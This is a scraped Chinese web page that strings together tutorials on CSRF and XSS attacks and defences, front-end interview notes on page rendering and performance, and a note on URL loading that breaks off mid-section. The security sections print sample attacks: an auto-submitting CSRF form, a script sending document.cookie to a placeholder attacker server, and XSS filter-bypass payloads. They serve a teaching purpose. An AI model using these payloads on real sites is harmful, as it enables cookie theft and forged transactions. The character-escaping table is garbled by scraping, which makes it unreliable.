整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          Web安全之CSRF、XSS攻防原理及解決方案

          、CSRF

          CSRF 全稱叫做,跨站請求偽造(Cross—Site Request Forgery),顧名思義,攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求,對服務(wù)器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發(fā)送郵件、發(fā)消息,盜取你的賬號,添加系統(tǒng)管理員,甚至于購買商品、虛擬貨幣轉(zhuǎn)賬等。對于服務(wù)器而言,判斷請求對象是否是你本身的方法限于提供身份認(rèn)證的cookie、秘鑰等,無法去識別個體。


          1.原理介紹及流程分析

          以下,舉例模擬一個被CSRF攻擊影響的例子:

          ①用戶C打開瀏覽器,訪問受信任網(wǎng)站A,輸入用戶名和密碼請求登錄網(wǎng)站A;

          ②在用戶信息通過驗證后,網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器,此時用戶登錄網(wǎng)站A成功,可以正常發(fā)送請求到網(wǎng)站A;

          ③用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開一個TAB頁訪問網(wǎng)站B;

          ④網(wǎng)站B接收到用戶請求后,返回一些攻擊性代碼,并發(fā)出一個請求要求訪問第三方站點A;

          ⑤瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請求。網(wǎng)站A并不知道該請求其實是由B發(fā)起的,所以會根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請求,導(dǎo)致來自網(wǎng)站B的惡意代碼被執(zhí)行。

          更為具體的舉例,偽造請求的方式一般有如下幾種方式:

          // 頁面中有一個超鏈接,誘導(dǎo)用戶進行點擊
          
          <a href="https://aaa.com?userid=3&money=9999">誘導(dǎo)信息</a>
          
          // 直接在頁面上使用Img進行g(shù)et請求
          
          <img src="https://aaa.com?userid=3&money=9999"/>
          
          // 或使用表單進行提交
          
          <iframe name="heihei" style="display:none;"></iframe>
          
          <form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
          
          <input name="userid" value="3" type="hidden" />
          
          <input name="money" value="9999" type="hidden" />
          
          </form>
          
          <script>
          window.onload = function(){
            document.forms[0].submit();
          }
          </script>


          2.CSRF漏洞檢測

          檢測CSRF漏洞是一項比較繁瑣的工作,最簡單的方法就是抓取一個正常請求的數(shù)據(jù)包,去掉Referer字段后再重新提交,如果該提交還有效,那么基本上可以確定存在CSRF漏洞。

          當(dāng)然我們也可以試著利用根據(jù)來進行漏洞檢測,隨著對CSRF漏洞研究的不斷深入,不斷涌現(xiàn)出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。

          以CSRFTester工具為例,CSRF漏洞檢測工具的測試原理如下:使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有鏈接以及所有的表單等信息,然后通過在CSRFTester中修改相應(yīng)的表單等信息,重新提交,這相當(dāng)于一次偽造客戶端請求。如果修改后的測試請求成功被網(wǎng)站服務(wù)器接受,則說明存在CSRF漏洞,當(dāng)然此款工具也可以被用來進行CSRF攻擊。


          3.CSRF防御原理

          根據(jù)以上的方式我們能顯而易見看到,問題就出在“訪問網(wǎng)站B”和“攜帶Cookie信息”上。針對CRSF攻擊,CSRF防護的一個重點是要對“用戶憑證”進行校驗處理,通過這種機制可以對用戶的請求是合法進行判斷,判斷是不是跨站攻擊的行為。因為“用戶憑證”是Cookie中存儲的,所以防護機制的處理對像也是Cookie的數(shù)據(jù),我們要在防護的數(shù)據(jù)中加入簽名校驗,并對數(shù)據(jù)進行生命周期時間管理,就是數(shù)據(jù)過期管理。

          由此得出,CSRF防護的一個重點是要對“用戶憑證”進行校驗處理,通過這種機制可以對用戶的請求是合法進行判斷,判斷是不是跨站攻擊的行為。因為“用戶憑證”是Cookie中存儲的,所以防護機制的處理對像也是Cookie的數(shù)據(jù),我們要在防護的數(shù)據(jù)中加入簽名校驗,并對數(shù)據(jù)進行生命周期時間管理,就是數(shù)據(jù)過期管理。


          ①防御思路

          針對防止CSRF的發(fā)生,創(chuàng)建Token處理機制,Token數(shù)據(jù)結(jié)構(gòu)與時間、加密簽名直接相關(guān), 這么設(shè)計的的目的如上所說,是給“身份憑證”加上時間生存周期管理和簽名校驗管理,如果的憑證被人拿到了, 要先判斷Token中的“簽名”與時間戳是否都有效,再進行正常的業(yè)務(wù)處理, 這樣通過對非法數(shù)據(jù)的校驗過濾,來降低CSRF攻擊的成功率。


          ②簽名與時間戳防護處理流程

          在token中加入上述方法中所描述的時間戳信息和簽名信息:

          -----------------------------------------------------------------------------
          |             msg                 |     separator   | signature           |
          -----------------------------------------------------------------------------
          |     key     |   timestamp       |         .       | Base64(sha256(msg)) |
          -----------------------------------------------------------------------------
          • msg部分: key即隨機生成的字符串用作用戶憑證認(rèn)證+timestamp時間戳驗證時間用
          • separator部分:用于分隔msg部分與加密后生成的signature簽名部分
          • signature部分:signature即簽名,是對“msg消息”用特定算法進行加密后的串。
          token = base64(msg)格式化..base64(sha256("密鎖", msg))

          整個Token就是由被Base64的msg編碼串+先256加密msg再進行Base64編碼,兩個串的內(nèi)容結(jié)合。


          ③Token校驗

          在整個防御做法中,對于token的校驗流程為:

          • 在服務(wù)器端對接收到的token進行分片,以分隔符進行分割,獲取信息內(nèi)容和簽名
          • 對于簽名驗證,對信息進行解碼,如果通過則進入時間校驗
          • 如果簽名有效的,取出msg中的timestamp字段數(shù)據(jù),與當(dāng)前系統(tǒng)時間進行比較,如果過期時間小于當(dāng)前時間,那這個token是過期的,需要重新的取得token。


          二、XSS

          XSS(跨站腳本攻擊,Cross-site scripting,簡稱并不是 CSS,因為 CSS是 層疊樣式表)是一種常見的 web 安全問題。XSS 攻擊手段是允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其它網(wǎng)站等。


          1.XSS攻擊類型區(qū)分

          ① 反射型

          反射型 XSS攻擊 通常是簡單地把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。黑客一般會誘使用戶點擊一個有惡意的鏈接,用戶點擊就會發(fā)起 XSS 攻擊。反射型 XSS 攻擊可以將 JavaScript 腳本插入到 HTML 節(jié)點中、HTML 屬性中以及通過 JS 注入到 URL 或 HTML 文檔中。


          ② 儲存型

          存儲型 XSS攻擊 這種攻擊會把用戶輸入的數(shù)據(jù)存儲到服務(wù)器中。例如在一個有 XSS 漏洞的博客網(wǎng)站,黑客寫下一篇含有惡意 JavaScript 代碼的文章,文章發(fā)布后,所有看了這篇博文的用戶都會在他們的瀏覽器中執(zhí)行惡意 JavaScript 代碼。


          ③ DOM-based 型

          注意: 這種類型的劃分與以上兩種類型劃分方式不同,是按照Payload的位置劃分

          DOM-based 型XSS攻擊 基于 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結(jié)構(gòu),是純粹發(fā)生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。

          發(fā)起 XSS 攻擊后,黑客寫入的 JavaScript 代碼就會執(zhí)行,通過腳本可以控制用戶的瀏覽器。一個常見的攻擊手段是“Cookie 劫持”,cookie 中一般加密保存著當(dāng)前用戶的登錄憑據(jù),黑客可以通過惡意代碼將用戶的 cookie 發(fā)到自己的服務(wù)器上,然后就可以做到無密碼登錄上用戶的賬戶。


          2.實現(xiàn)XSS攻擊的條件

          ①需要向web頁面注入惡意代碼;

          ②這些惡意代碼能夠被瀏覽器成功的執(zhí)行。


          3.會利用XSS攻擊獲取什么?

          ①竊取cookies,讀取目標(biāo)網(wǎng)站的cookie發(fā)送到黑客的服務(wù)器上,如下面的代碼:

          var i=document.createElement("img");
          document.body.appendChild(i);
          i.src = "http://www.hackerserver.com/?c=" + document.cookie;

          在此提到來自瀏覽器的自帶防御,瀏覽器針對于這類問題的存在,對于DOM對象的訪問會有自己的禁用方式,避免最基本的XSS注入。例如在舊版的IE8和IE8以下的版本都是可以被執(zhí)行的,火狐也能執(zhí)行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執(zhí)行將會看到控制里拋出異常:document is not defined

          ②讀取用戶未公開的資料,如果:郵件列表或者內(nèi)容、系統(tǒng)的客戶資料,聯(lián)系人列表等等,如代碼

          ③篡改網(wǎng)頁,進行釣魚或者惡意傳播

          ④網(wǎng)站重定向


          4.XSS的防御

          ①具體舉例: 注入轉(zhuǎn)義

          對于URL做解析時和發(fā)起get請求時都會需要讀取URL攜帶的參數(shù),如果將 url 中的參數(shù)直接插入到 DOM 中,這就有可能構(gòu)成 XSS 攻擊,攻擊者利用這一漏洞,給其他用戶發(fā)送一個有惡意的鏈接,用戶就有可能中招。 如:

          http://www.example/test.index?param=<script>alert('XSS')</script>

          這個 URL 的 param 參數(shù)值并不是合理的,而是攻擊者構(gòu)建的。

          再如: 一個超鏈接中的URL

          <a href='http://www.xss.com?cookie='+document.cookie>

          上述方式可以通過點擊鏈接的方式注入XSS,去獲取當(dāng)前用戶的Cookie。


          ②防御方式

          • 當(dāng)惡意代碼值被作為某一標(biāo)簽的內(nèi)容顯示:在不需要html輸入的地方對html 標(biāo)簽及一些特殊字符( ” < > & 等等 )做過濾,將其轉(zhuǎn)化為不被瀏覽器解釋執(zhí)行的字符。
          • 當(dāng)惡意代碼被作為某一標(biāo)簽的屬性顯示,通過用 “將屬性截斷來開辟新的屬性或惡意方法:屬性本身存在的 單引號和雙引號都需要進行轉(zhuǎn)碼;對用戶輸入的html 標(biāo)簽及標(biāo)簽屬性做白名單過濾,也可以對一些存在漏洞的標(biāo)簽和屬性進行專門過濾。


          ③常見的xss攻擊方法

          • 繞過XSS-Filter,利用<>標(biāo)簽注入Html/JavaScript代碼;
          • 利用HTML標(biāo)簽的屬性值進行xss攻擊。例如:
          <img src=“javascript:alert(‘xss’)”/>

          (當(dāng)然并不是所有的Web瀏覽器都支持Javascript偽協(xié)議,所以此類XSS攻擊具有一定的局限性)

          • 空格、回車和Tab。如果XSS Filter僅僅將敏感的輸入字符列入黑名單,比如javascript,用戶可以利用空格、回車和Tab鍵來繞過過濾,例如:
          <img src=“javas  cript:alert(/xss/);”/>
          • 利用事件來執(zhí)行跨站腳本。例如:
          <img src=“#” onerror= “alert(1)”/>

          當(dāng)src錯誤的視乎就會執(zhí)行onerror事件

          • 利用CSS跨站。例如:
          Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
          • 擾亂過濾規(guī)則。例如:
          <IMG SRC=“javaSCript: alert(/xss/);”/>
          • 利用字符編碼,透過這種技巧,不僅能讓XSS代碼繞過服務(wù)端的過濾,還能更好地隱藏Shellcode;(JS支持unicode、eacapes、十六進制、十進制等編碼形式)
          • 拆分跨站法,將xss攻擊的代碼拆分開來,適用于應(yīng)用程序沒有過濾 XSS關(guān)鍵字符(如<、>)卻對輸入字符長度有限制的情況下;
          • DOM型的XSS主要是由客戶端的腳本通過DOM動態(tài)地輸出數(shù)據(jù)到頁面上,它不依賴于提交數(shù)據(jù)到服務(wù)器,而是從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行。容易導(dǎo)致DOM型的XSS的輸入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;


          5.XSS攻擊防御

          原則:不相信客戶輸入的數(shù)據(jù)

          注意:攻擊代碼不一定在<script></script>中

          • 使用XSS Filter

          輸入過濾,對用戶提交的數(shù)據(jù)進行有效性驗證,僅接受指定長度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交,阻止或者忽略除此外的其他任何數(shù)據(jù)。比如:電話號碼必須是數(shù)字和中劃線組成,而且要設(shè)定長度上限。過濾一些些常見的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";過濾或移除特殊的Html標(biāo)簽, 例如: <script>, <iframe> , < for <, > for >, " for;過濾JavaScript 事件的標(biāo)簽,例如 "onclick=", "onfocus" 等等。

            輸出編碼,當(dāng)需要將一個字符串輸出到Web網(wǎng)頁時,同時又不確定這個字符串中是否包括XSS特殊字符(如< > &‘”等),為了確保輸出內(nèi)容的完整性和正確性,可以使用編碼(HTMLEncode)進行處理。

          • DOM型的XSS攻擊防御

          把變量輸出到頁面時要做好相關(guān)的編碼轉(zhuǎn)義工作,如要輸出到 <script>中,可以進行JS編碼;要輸出到HTML內(nèi)容或?qū)傩裕瑒t進行HTML編碼處理。根據(jù)不同的語境采用不同的編碼處理方式。

          • HttpOnly Cookie

          將重要的cookie標(biāo)記為http only, 這樣的話當(dāng)瀏覽器向Web服務(wù)器發(fā)起請求的時就會帶上cookie字段,但是在腳本中卻不能訪問這個cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:


          原文:https://juejin.cn/post/6874730741989801997

          eb 前端工程師寫的頁面要跑在瀏覽器里面,所以面試中也會出現(xiàn)很多跟瀏覽器相關(guān)的面試題目。

          #知識點梳理

          • 瀏覽器加載頁面和渲染過程
          • 性能優(yōu)化
          • Web 安全

          本小節(jié)會從瀏覽器的加載過程開始講解,然后介紹如何進行性能優(yōu)化,最后介紹下 Web 開發(fā)中常見的安全問題和預(yù)防。

          #加載頁面和渲染過程

          可將加載過程和渲染過程分開說。回答問題的時候,關(guān)鍵要抓住核心的要點,把要點說全面,稍加解析即可,簡明扼要不拖沓。

          題目:瀏覽器從加載頁面到渲染頁面的過程

          1. 加載過程

          要點如下:

          • 瀏覽器根據(jù) DNS 服務(wù)器得到域名的 IP 地址
          • 向這個 IP 的機器發(fā)送 HTTP 請求
          • 服務(wù)器收到、處理并返回 HTTP 請求
          • 瀏覽器得到返回內(nèi)容

          例如在瀏覽器輸入https://test.com/timeline,然后經(jīng)過 DNS 解析,juejin.im對應(yīng)的 IP 是36.248.217.149(不同時間、地點對應(yīng)的 IP 可能會不同)。然后瀏覽器向該 IP 發(fā)送 HTTP 請求。

          server 端接收到 HTTP 請求,然后經(jīng)過計算(向不同的用戶推送不同的內(nèi)容),返回 HTTP 請求,返回的內(nèi)容如下:

          其實就是一堆 HMTL 格式的字符串,因為只有 HTML 格式瀏覽器才能正確解析,這是 W3C 標(biāo)準(zhǔn)的要求。接下來就是瀏覽器的渲染過程。

          2. 渲染過程

          要點如下:

          • 根據(jù) HTML 結(jié)構(gòu)生成 DOM
          • 根據(jù) CSS 生成 CSSOM
          • 將 DOM 和 CSSOM 整合形成 RenderTree
          • 根據(jù) RenderTree 開始渲染和展示
          • 遇到<script>時,會執(zhí)行并阻塞渲染
          • 上文中,瀏覽器已經(jīng)拿到了 server 端返回的 HTML 內(nèi)容,開始解析并渲染。最初拿到的內(nèi)容就是一堆字符串,必須先結(jié)構(gòu)化成計算機擅長處理的基本數(shù)據(jù)結(jié)構(gòu),因此要把 HTML 字符串轉(zhuǎn)化成 DOM 樹 —— 樹是最基本的數(shù)據(jù)結(jié)構(gòu)之一。
          • 解析過程中,如果遇到<link href="..."><script src="...">這種外鏈加載 CSS 和 JS 的標(biāo)簽,瀏覽器會異步下載,下載過程和上文中下載 HTML 的流程一樣。只不過,這里下載下來的字符串是 CSS 或者 JS 格式的。
          • 瀏覽器將 CSS 生成 CSSOM,再將 DOM 和 CSSOM 整合成 RenderTree ,然后針對 RenderTree 即可進行渲染了。大家可以想一下,有 DOM 結(jié)構(gòu)、有樣式,此時就能滿足渲染的條件了。另外,這里也可以解釋一個問題 —— 為何要將 CSS 放在 HTML 頭部?—— 這樣會讓瀏覽器盡早拿到 CSS 盡早生成 CSSOM,然后在解析 HTML 之后可一次性生成最終的 RenderTree,渲染一次即可。如果 CSS 放在 HTML 底部,會出現(xiàn)渲染卡頓的情況,影響性能和體驗。
          • 最后,渲染過程中,如果遇到<script>就停止渲染,執(zhí)行 JS 代碼。因為瀏覽器渲染和 JS 執(zhí)行共用一個線程,而且這里必須是單線程操作,多線程會產(chǎn)生渲染 DOM 沖突。待<script>內(nèi)容執(zhí)行完之后,瀏覽器繼續(xù)渲染。最后再思考一個問題 —— 為何要將 JS 放在 HTML 底部?—— JS 放在底部可以保證讓瀏覽器優(yōu)先渲染完現(xiàn)有的 HTML 內(nèi)容,讓用戶先看到內(nèi)容,體驗好。另外,JS 執(zhí)行如果涉及 DOM 操作,得等待 DOM 解析完成才行,JS 放在底部執(zhí)行時,HTML 肯定都解析成了 DOM 結(jié)構(gòu)。JS 如果放在 HTML 頂部,JS 執(zhí)行的時候 HTML 還沒來得及轉(zhuǎn)換為 DOM 結(jié)構(gòu),可能會報錯。

          關(guān)于瀏覽器整個流程,百度的多益大神有更加詳細的文章,推薦閱讀下:《從輸入 URL 到頁面加載完成的過程中都發(fā)生了什么事情? 》。

          #性能優(yōu)化

          性能優(yōu)化的題目也是面試常考的,這類題目有很大的擴展性,能夠擴展出來很多小細節(jié),而且對個人的技術(shù)視野和業(yè)務(wù)能力有很大的挑戰(zhàn)。這部分筆者會重點講下常用的性能優(yōu)化方案。

          題目:總結(jié)前端性能優(yōu)化的解決方案

          1. 優(yōu)化原則和方向

          性能優(yōu)化的原則是以更好的用戶體驗為標(biāo)準(zhǔn),具體就是實現(xiàn)下面的目標(biāo):

          1. 多使用內(nèi)存、緩存或者其他方法
          2. 減少 CPU 和GPU 計算,更快展現(xiàn)

          優(yōu)化的方向有兩個:

          • 減少頁面體積,提升網(wǎng)絡(luò)加載
          • 優(yōu)化頁面渲染

          2. 減少頁面體積,提升網(wǎng)絡(luò)加載

          • 靜態(tài)資源的壓縮合并(JS 代碼壓縮合并、CSS 代碼壓縮合并、雪碧圖)
          • 靜態(tài)資源緩存(資源名稱加 MD5 戳)
          • 使用 CDN 讓資源加載更快

          3. 優(yōu)化頁面渲染

          • CSS 放前面,JS 放后面
          • 懶加載(圖片懶加載、下拉加載更多)
          • 減少DOM 查詢,對 DOM 查詢做緩存
          • 減少DOM 操作,多個操作盡量合并在一起執(zhí)行(DocumentFragment
          • 事件節(jié)流
          • 盡早執(zhí)行操作(DOMContentLoaded
          • 使用 SSR 后端渲染,數(shù)據(jù)直接輸出到 HTML 中,減少瀏覽器使用 JS 模板渲染頁面 HTML 的時間

          #詳細解釋

          1. 靜態(tài)資源的壓縮合并

          如果不合并,每個都會走一遍之前介紹的請求過程

          <script src="a.js"></script>
          <script src="b.js"></script>
          <script src="c.js"></script>
          

          如果合并了,就只走一遍請求過程

          <script src="abc.js"></script>
          
          

          2. 靜態(tài)資源緩存

          通過鏈接名稱控制緩存

          <script src="abc_1.js"></script>
          
          

          只有內(nèi)容改變的時候,鏈接名稱才會改變

          <script src="abc_2.js"></script>
          
          

          這個名稱不用手動改,可通過前端構(gòu)建工具根據(jù)文件內(nèi)容,為文件名稱添加 MD5 后綴。

          3. 使用 CDN 讓資源加載更快

          CDN 會提供專業(yè)的加載優(yōu)化方案,靜態(tài)資源要盡量放在 CDN 上。例如:

          <script src="https://cdn.bootcss.com/zepto/1.0rc1/zepto.min.js"></script>
          
          

          4. 使用 SSR 后端渲染

          可一次性輸出 HTML 內(nèi)容,不用在頁面渲染完成之后,再通過 Ajax 加載數(shù)據(jù)、再渲染。例如使用 smarty、Vue SSR 等。

          5. CSS 放前面,JS 放后面

          上文講述瀏覽器渲染過程時已經(jīng)提過,不再贅述。

          6. 懶加載

          一開始先給為 src 賦值成一個通用的預(yù)覽圖,下拉時候再動態(tài)賦值成正式的圖片。如下,preview.png是預(yù)覽圖片,比較小,加載很快,而且很多圖片都共用這個preview.png,加載一次即可。待頁面下拉,圖片顯示出來時,再去替換srcdata-realsrc的值。

          <img src="preview.png" data-realsrc="abc.png"/>
          

          另外,這里為何要用data-開頭的屬性值?—— 所有 HTML 中自定義的屬性,都應(yīng)該用data-開頭,因為data-開頭的屬性瀏覽器渲染的時候會忽略掉,提高渲染性能。

          7. DOM 查詢做緩存

          兩段代碼做一下對比:

          var pList = document.getElementsByTagName('p')  // 只查詢一個 DOM ,緩存在 pList 中了
          var i
          for (i = 0; i < pList.length; i++) {
          }
          
          var i
          for (i = 0; i < document.getElementsByTagName('p').length; i++) {  // 每次循環(huán),都會查詢 DOM ,耗費性能
          }
          
          

          總結(jié):DOM 操作,無論查詢還是修改,都是非常耗費性能的,應(yīng)盡量減少。

          8. 合并 DOM 插入

          DOM 操作是非常耗費性能的,因此插入多個標(biāo)簽時,先插入 Fragment 然后再統(tǒng)一插入 DOM。

          var listNode = document.getElementById('list')
          // 要插入 10 個 li 標(biāo)簽
          var frag = document.createDocumentFragment();
          var x, li;
          for(x = 0; x < 10; x++) {
              li = document.createElement("li");
              li.innerHTML = "List item " + x;
              frag.appendChild(li);  // 先放在 frag 中,最后一次性插入到 DOM 結(jié)構(gòu)中。
          }
          listNode.appendChild(frag);
          
          

          10. 事件節(jié)流

          例如要在文字改變時觸發(fā)一個 change 事件,通過 keyup 來監(jiān)聽。使用節(jié)流。

          var textarea = document.getElementById('text')
          var timeoutId
          textarea.addEventListener('keyup', function () {
              if (timeoutId) {
                  clearTimeout(timeoutId)
              }
              timeoutId = setTimeout(function () {
                  // 觸發(fā) change 事件
              }, 100)
          })
          
          

          11. 盡早執(zhí)行操作

          window.addEventListener('load', function () {
              // 頁面的全部資源加載完才會執(zhí)行,包括圖片、視頻等
          })
          document.addEventListener('DOMContentLoaded', function () {
              // DOM 渲染完即可執(zhí)行,此時圖片、視頻還可能沒有加載完
          })
          
          

          12. 性能優(yōu)化怎么做

          上面提到的都是性能優(yōu)化的單個點,性能優(yōu)化項目具體實施起來,應(yīng)該按照下面步驟推進:

          1. 建立性能數(shù)據(jù)收集平臺,摸底當(dāng)前性能數(shù)據(jù),通過性能打點,將上述整個頁面打開過程消耗時間記錄下來
          2. 分析耗時較長時間段原因,尋找優(yōu)化點,確定優(yōu)化目標(biāo)
          3. 開始優(yōu)化
          4. 通過數(shù)據(jù)收集平臺記錄優(yōu)化效果
          5. 不斷調(diào)整優(yōu)化點和預(yù)期目標(biāo),循環(huán)2~4步驟

          性能優(yōu)化是個長期的事情,不是一蹴而就的,應(yīng)該本著先摸底、再分析、后優(yōu)化的原則逐步來做。

          #Web 安全

          題目:前端常見的安全問題有哪些?

          • Web 前端的安全問題,能回答出下文的兩個問題,這個題目就能基本過關(guān)了。開始之前,先說一個最簡單的攻擊方式 —— SQL 注入。
          • 上學(xué)的時候就知道有一個「SQL注入」的攻擊方式。例如做一個系統(tǒng)的登錄界面,輸入用戶名和密碼,提交之后,后端直接拿到數(shù)據(jù)就拼接 SQL 語句去查詢數(shù)據(jù)庫。如果在輸入時進行了惡意的 SQL 拼裝,那么最后生成的 SQL 就會有問題。但是現(xiàn)在稍微大型一點的系統(tǒng),都不會這么做,從提交登錄信息到最后拿到授權(quán),要經(jīng)過層層的驗證。因此,SQL 注入都只出現(xiàn)在比較低端小型的系統(tǒng)上。

          1. XSS(Cross Site Scripting,跨站腳本攻擊)

          • 這是前端最常見的攻擊方式,很多大型網(wǎng)站(如 Facebook)都被 XSS 攻擊過。
          • 舉一個例子,我在一個博客網(wǎng)站正常發(fā)表一篇文章,輸入漢字、英文和圖片,完全沒有問題。但是如果我寫的是惡意的 JS 腳本,例如獲取到document.cookie然后傳輸?shù)阶约旱姆?wù)器上,那我這篇博客的每一次瀏覽都會執(zhí)行這個腳本,都會把訪客 cookie 中的信息偷偷傳遞到我的服務(wù)器上來。

          其實原理上就是黑客通過某種方式(發(fā)布文章、發(fā)布評論等)將一段特定的 JS 代碼隱蔽地輸入進去。然后別人再看這篇文章或者評論時,之前注入的這段 JS 代碼就執(zhí)行了。JS 代碼一旦執(zhí)行,那可就不受控制了,因為它跟網(wǎng)頁原有的 JS 有同樣的權(quán)限,例如可以獲取 server 端數(shù)據(jù)、可以獲取 cookie 等。于是,攻擊就這樣發(fā)生了。

          XSS的危害

          XSS 的危害相當(dāng)大,如果頁面可以隨意執(zhí)行別人不安全的 JS 代碼,輕則會讓頁面錯亂、功能缺失,重則會造成用戶的信息泄露。

          比如早些年社交網(wǎng)站經(jīng)常爆出 XSS 蠕蟲,通過發(fā)布的文章內(nèi)插入 JS,用戶訪問了感染不安全 JS 注入的文章,會自動重新發(fā)布新的文章,這樣的文章會通過推薦系統(tǒng)進入到每個用戶的文章列表面前,很快就會造成大規(guī)模的感染。

          還有利用獲取 cookie 的方式,將 cookie 傳入入侵者的服務(wù)器上,入侵者就可以模擬 cookie 登錄網(wǎng)站,對用戶的信息進行篡改。

          XSS的預(yù)防

          那么如何預(yù)防 XSS 攻擊呢?—— 最根本的方式,就是對用戶輸入的內(nèi)容進行驗證和替換,需要替換的字符有:

          & 替換為:&
          < 替換為:<
          > 替換為:>
          ” 替換為:"
          ‘ 替換為:'
          / 替換為:/
          
          

          替換了這些字符之后,黑客輸入的攻擊代碼就會失效,XSS 攻擊將不會輕易發(fā)生。

          除此之外,還可以通過對 cookie 進行較強的控制,比如對敏感的 cookie 增加http-only限制,讓 JS 獲取不到 cookie 的內(nèi)容。

          2. CSRF(Cross-site request forgery,跨站請求偽造)

          CSRF 是借用了當(dāng)前操作者的權(quán)限來偷偷地完成某個操作,而不是拿到用戶的信息。

          • 例如,一個支付類網(wǎng)站,給他人轉(zhuǎn)賬的接口是http://buy.com/pay?touid=999&money=100,而這個接口在使用時沒有任何密碼或者 token 的驗證,只要打開訪問就直接給他人轉(zhuǎn)賬。一個用戶已經(jīng)登錄了http://buy.com,在選擇商品時,突然收到一封郵件,而這封郵件正文有這么一行代碼<img src="http://buy.com/pay?touid=999&money=100"/>,他訪問了郵件之后,其實就已經(jīng)完成了購買。
          • CSRF 的發(fā)生其實是借助了一個 cookie 的特性。我們知道,登錄了http://buy.com之后,cookie 就會有登錄過的標(biāo)記了,此時請求http://buy.com/pay?touid=999&money=100是會帶著 cookie 的,因此 server 端就知道已經(jīng)登錄了。而如果在http://buy.com去請求其他域名的 API 例如http://abc.com/api時,是不會帶 cookie 的,這是瀏覽器的同源策略的限制。但是 —— 此時在其他域名的頁面中,請求http://buy.com/pay?touid=999&money=100,會帶著buy.com的 cookie ,這是發(fā)生 CSRF 攻擊的理論基礎(chǔ)。

          預(yù)防 CSRF 就是加入各個層級的權(quán)限驗證,例如現(xiàn)在的購物網(wǎng)站,只要涉及現(xiàn)金交易,肯定要輸入密碼或者指紋才行。除此之外,敏感的接口使用POST請求而不是GET也是很重要的。

          這個問題已經(jīng)是老生常談了,更是經(jīng)常被作為面試的壓軸題出現(xiàn),網(wǎng)上也有很多文章,但最近閑的無聊,然后就自己做了一篇筆記,感覺比之前理解更透徹了。

          這篇筆記是我這兩天看了數(shù)十篇文章總結(jié)出來的,所以相對全面一點,但由于我是做前端的,所以會比較重點分析瀏覽器渲染頁面那一部分,至于其他部分我會羅列出關(guān)鍵詞,感興趣的可以自行查閱.

          注意:本文的步驟是建立在,請求的是一個簡單的 HTTP 請求,沒有 HTTPS、HTTP2、最簡單的 DNS、沒有代理、并且服務(wù)器沒有任何問題的基礎(chǔ)上,盡管這是不切實際的。

          大致流程

          1. URL 解析
          2. DNS 查詢
          3. TCP 連接
          4. 處理請求
          5. 接受響應(yīng)
          6. 渲染頁面

          一、URL 解析

          地址解析:

          首先判斷你輸入的是一個合法的 URL 還是一個待搜索的關(guān)鍵詞,并且根據(jù)你輸入的內(nèi)容進行自動完成、字符編碼等操作。

          HSTS

          由于安全隱患,會使用 HSTS 強制客戶端使用 HTTPS 訪問頁面。詳見:你所不知道的 HSTS[1]

          其他操作

          瀏覽器還會進行一些額外的操作,比如安全檢查、訪問限制(之前國產(chǎn)瀏覽器限制 996.icu)。

          檢查緩存

          二、DNS 查詢

          基本步驟

          1. 瀏覽器緩存

          瀏覽器會先檢查是否在緩存中,沒有則調(diào)用系統(tǒng)庫函數(shù)進行查詢。

          2. 操作系統(tǒng)緩存

          操作系統(tǒng)也有自己的 DNS緩存,但在這之前,會向檢查域名是否存在本地的 Hosts 文件里,沒有則向 DNS 服務(wù)器發(fā)送查詢請求。

          3. 路由器緩存

          路由器也有自己的緩存。

          4. ISP DNS 緩存

          ISP DNS 就是在客戶端電腦上設(shè)置的首選 DNS 服務(wù)器,它們在大多數(shù)情況下都會有緩存。

          根域名服務(wù)器查詢

          在前面所有步驟沒有緩存的情況下,本地 DNS 服務(wù)器會將請求轉(zhuǎn)發(fā)到互聯(lián)網(wǎng)上的根域,下面這個圖很好的詮釋了整個流程:

          根域名服務(wù)器(維基百科)

          需要注意的點

          1. 遞歸方式:一路查下去中間不返回,得到最終結(jié)果才返回信息(瀏覽器到本地DNS服務(wù)器的過程)
          2. 迭代方式,就是本地DNS服務(wù)器到根域名服務(wù)器查詢的方式。
          3. 什么是 DNS 劫持
          4. 前端 dns-prefetch 優(yōu)化

          三、TCP 連接

          TCP/IP 分為四層,在發(fā)送數(shù)據(jù)時,每層都要對數(shù)據(jù)進行封裝:

          1. 應(yīng)用層:發(fā)送 HTTP 請求

          在前面的步驟我們已經(jīng)得到服務(wù)器的 IP 地址,瀏覽器會開始構(gòu)造一個 HTTP 報文,其中包括:

          • 請求報頭(Request Header):請求方法、目標(biāo)地址、遵循的協(xié)議等等
          • 請求主體(其他參數(shù))

          其中需要注意的點:

          • 瀏覽器只能發(fā)送 GET、POST 方法,而打開網(wǎng)頁使用的是 GET 方法

          2. 傳輸層:TCP 傳輸報文

          傳輸層會發(fā)起一條到達服務(wù)器的 TCP 連接,為了方便傳輸,會對數(shù)據(jù)進行分割(以報文段為單位),并標(biāo)記編號,方便服務(wù)器接受時能夠準(zhǔn)確地還原報文信息。

          在建立連接前,會先進行 TCP 三次握手。

